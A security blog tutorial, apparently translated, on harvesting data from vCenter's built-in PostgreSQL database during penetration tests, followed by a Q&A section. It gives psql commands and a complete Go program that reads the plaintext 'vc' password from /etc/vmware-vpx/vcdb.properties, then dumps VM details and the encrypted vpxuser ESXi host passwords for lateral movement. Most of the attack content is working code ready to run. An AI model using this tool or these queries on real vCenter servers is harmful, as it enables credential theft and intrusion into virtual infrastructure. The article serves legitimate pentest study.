vSphere Development Guide 4 - PostgreSQL

Onedaysec
5 min read
0 views
docx image 1770019786823 0 f809450ef4

0x00 Preface

---

The previous three articles "vSphere Development Guide 1 - vSphere Automation API", "vSphere Development Guide 2 - vSphere Web Services API", and "vSphere Development Guide 3 - VMware PowerCLI" introduced methods for interacting with virtual machines and remotely exporting their configuration information. This article will introduce the method of exporting virtual machine configuration information through the PostgreSQL database on vCenter.

0x01 Introduction

---

This article will cover the following:

  • Export Method
  • Program Implementation

0x02 Export Method

---

vCenter comes with a PostgreSQL database installed by default, used to store VM and ESXi information.

As mentioned in the previous article "Confluence Exploitation Guide":

After PostgreSQL installation, a user named 'postgres' is created on the local operating system, with no default password.

If the password for the user 'postgres' is not set, you can connect to the PostgreSQL database using the following command:

psql -h localhost -U postgres

The execution result is shown in the figure below

0x02 Export Method — technical illustration 1

The default user list is shown in the figure below

0x02 Export Method — technical illustration 2

If the password for user postgres is set and cannot be obtained, you can choose to operate with user vc. The command to connect to the PostgreSQL database is as follows:

psql -h localhost -d VCDB -U vc

The execution result is shown in the figure below

0x02 Export Method — technical illustration 3

The plaintext password for user vc is stored in the fixed file /etc/vmware-vpx/vcdb.properties

Note:

psql does not support directly passing the password as a parameter; an interactive environment is required for operation

After connecting to the PostgreSQL database, the command to query virtual machine configuration information is as follows:

SELECT * FROM vc.vpx_vm;

After connecting to the PostgreSQL database, the command to query ESXi configuration information is as follows:

SELECT * FROM vc.vpx_host;

For ease of use, connecting to the PostgreSQL database and query commands can be combined. Here are two example commands:

(1) Using the postgres user to query virtual machine configuration information

psql -h localhost -U postgres -c "SELECT file_name,guest_os,ip_address FROM vc.vpx_vm;" -d VCDB

(2) Using the vc user to query ESXI configuration information

psql -h localhost -U vc -c "SELECT name,username,password,password_last_upd_dt FROM vc.vpxv_hosts;" -d VCDB -W

Note:

psql does not support directly passing a password as a parameter. If the user has set a password, it needs to be entered again in an interactive environment.

0x03 Program Implementation

---

Since psql does not support directly passing a password as a parameter, writing a program to implement database connection and query configuration can be considered.

Considering both applicability and convenience, the Go language is chosen as the development language.

The third-party package for PostgreSQL support is selected from https://github.com/bmizerany/pq

1. Install the third-party package

The command is as follows:

go get github.com/lib/pq

2. Writing code

Third-party packages installed via go get github.com/lib/pq will have bugs when used under vCenter, displaying an error 'setting PGSERVICEFILE not supported' when connecting to the database.

This is because the vCenter environment sets the environment variable $PGSERVICEFILE by default, and the third-party package installed via go get github.com/lib/pq references this variable by default, leading to the error.

Location of the error code: %GOPATH%\src\github.com\lib\pq\conn.go, Line 1988-1989, as shown below

2. Writing code — technical illustration 4

The code on GitHub has already fixed this bug, code address: https://github.com/bmizerany/pq/blob/master/conn.go#L644

As shown below

2. Writing code — technical illustration 5

Therefore, we only need to comment out lines 1988 and 1989 in %GOPATH%\src\github.com\lib\pq\conn.go, as shown below

2. Writing code — technical illustration 6

In terms of code implementation, first read the file /etc/vmware-vpx/vcdb.properties to obtain the plaintext password of user vc, then use user vc to connect to the PostgreSQL database, and finally export the virtual machine configuration information.

The complete implementation code is as follows:

package main

import (
"database/sql"
"fmt"
"strings"
"io/ioutil"
_ "github.com/lib/pq"
)


func connectDB() *sql.DB{
fmt.Println("[+] Get the config")
b, err := ioutil.ReadFile("/etc/vmware-vpx/vcdb.properties")
if err != nil {
fmt.Print(err)
}

str := string(b)
fmt.Println(str)
index1 := strings.Index(str,"password")
index2 := strings.Index(str,"password.encrypted")
password := b[index1+11:index2]

var host = "localhost"
var port int = 5432
var user = "vc"
var dbname = "VCDB"

psqlInfo := fmt.Sprintf("host=%s port=%d user=%s "+
"password=%s dbname=%s sslmode=disable",
host, port, user, password, dbname)

fmt.Println("[*] psqlInfo:" + psqlInfo)
db, err := sql.Open("postgres", psqlInfo)
if err != nil {
panic(err)
}

err = db.Ping()
if err != nil {
panic(err)
}
fmt.Println("[+] Successfully connected!")
return db
}


func queryVM(db *sql.DB){
var file_name,guest_os,ip_address,power_state string

fmt.Println("[*] Querying VM")
rows,err:=db.Query("SELECT file_name,guest_os,ip_address,power_state FROM vc.vpx_vm")

if err!= nil{
panic(err)
}
defer rows.Close()
for rows.Next(){
err:= rows.Scan(&file_name,&guest_os,&ip_address,&power_state)
if err!= nil{
//fmt.Println(err)
}
fmt.Println(" - file_name : " + file_name)
fmt.Println(" guest_os : " + guest_os)
fmt.Println(" ip_address : " + ip_address)
fmt.Println(" power_state : " + power_state)
}
err = rows.Err()
if err!= nil{
panic(err)
}
}


func queryESXI(db *sql.DB){
var name,username,password,password_last_upd_dt string

fmt.Println("[*] Querying ESXI")
rows,err:=db.Query("SELECT name,username,password,password_last_upd_dt FROM vc.vpxv_hosts")

if err!= nil{
panic(err)
}
defer rows.Close()
for rows.Next(){
err:= rows.Scan(&name,&username,&password,&password_last_upd_dt)
if err!= nil{
//fmt.Println(err)
}
fmt.Println(" - name : " + name)
fmt.Println(" username : " + username)
fmt.Println(" password : " + password)
fmt.Println(" password_last: " + password_last_upd_dt)

}
err = rows.Err()
if err != nil {
panic(err)
}
}


func main() {
db := connectDB()
queryVM(db)
queryESXI(db)
}

3. Cross-platform compilation

Save the above code as main.go

The command to compile into a Linux version is as follows:

SET CGO_ENABLED=0
SET GOOS=linux
SET GOARCH=amd64
go build -o vCenter_Query_PostgreSQL

4. Testing

Execute vCenter_Query_PostgreSQL on vCenter to automatically export configuration information of virtual machines and ESXi hosts

Supplement:

Execute the command SELECT name,username,password,password_last_upd_dt FROM vc.vpxv_hosts; to export the encrypted password of the vpxuser account

When an ESXi host connects to vCenter, the ESXi host creates a root-privileged user named vpxuser

By default, vCenter Server uses the OpenSSL cryptographic library as a random source to generate a new vpxuser password every 30 days, with a password length of 32 characters

0x04 Summary

---

This article describes the method of exporting virtual machine configuration information through the PostgreSQL database on vCenter, which is an extremely important step in penetration testing.

Related Questions & Answers

What is the vpxuser account and how is its password stored in vCenter's PostgreSQL database?

When an ESXi host connects to vCenter, it creates a root-privileged user named `vpxuser`. Its password is encrypted and stored in the `vc.vpxv_hosts` table, with a default 32-character length regenerated every 30 days. You can extract this encrypted password using the SQL query `SELECT name,username,password FROM vc.vpxv_hosts;`. This information is critical for lateral movement, as discussed in [vSphere Development Guide 4 - PostgreSQL](/news/vsphere-development-guide-4-postgresql).

How do I write a Go program to automatically connect to vCenter's PostgreSQL and export VM data?

Use Go with the `github.com/lib/pq` package, but note a bug in vCenter's environment: the third-party package may fail due to the `$PGSERVICEFILE` environment variable. Fix it by commenting out lines 1988-1989 in `conn.go`. Then, read the vc password from `/etc/vmware-vpx/vcdb.properties`, connect to VCDB, and query `vc.vpx_vm` and `vc.vpxv_hosts` tables. Cross-compile for Linux using `GOOS=linux GOARCH=amd64 go build`. The full code example is in [vSphere Development Guide 4 - PostgreSQL](/news/vsphere-development-guide-4-postgresql).

What SQL queries can I run to export virtual machine and ESXi host configuration from vCenter's database?

After connecting to the VCDB database, run `SELECT * FROM vc.vpx_vm;` to retrieve VM configuration (e.g., file_name, guest_os, ip_address) and `SELECT * FROM vc.vpx_host;` for ESXi host info. For ESXi passwords, use `SELECT name,username,password FROM vc.vpxv_hosts;` to get the encrypted vpxuser password. These commands are essential for penetration testing as explained in [vSphere Development Guide 4 - PostgreSQL](/news/vsphere-development-guide-4-postgresql).

How can I connect to vCenter's PostgreSQL database if the 'postgres' user has a default empty password?

If the 'postgres' user password is not set, you can connect using `psql -h localhost -U postgres`. However, if a password is set and unknown, you can use the 'vc' user by reading its plaintext password from `/etc/vmware-vpx/vcdb.properties` and then connecting with `psql -h localhost -d VCDB -U vc`. This method is detailed in [vSphere Development Guide 4 - PostgreSQL](/news/vsphere-development-guide-4-postgresql).

Continue Reading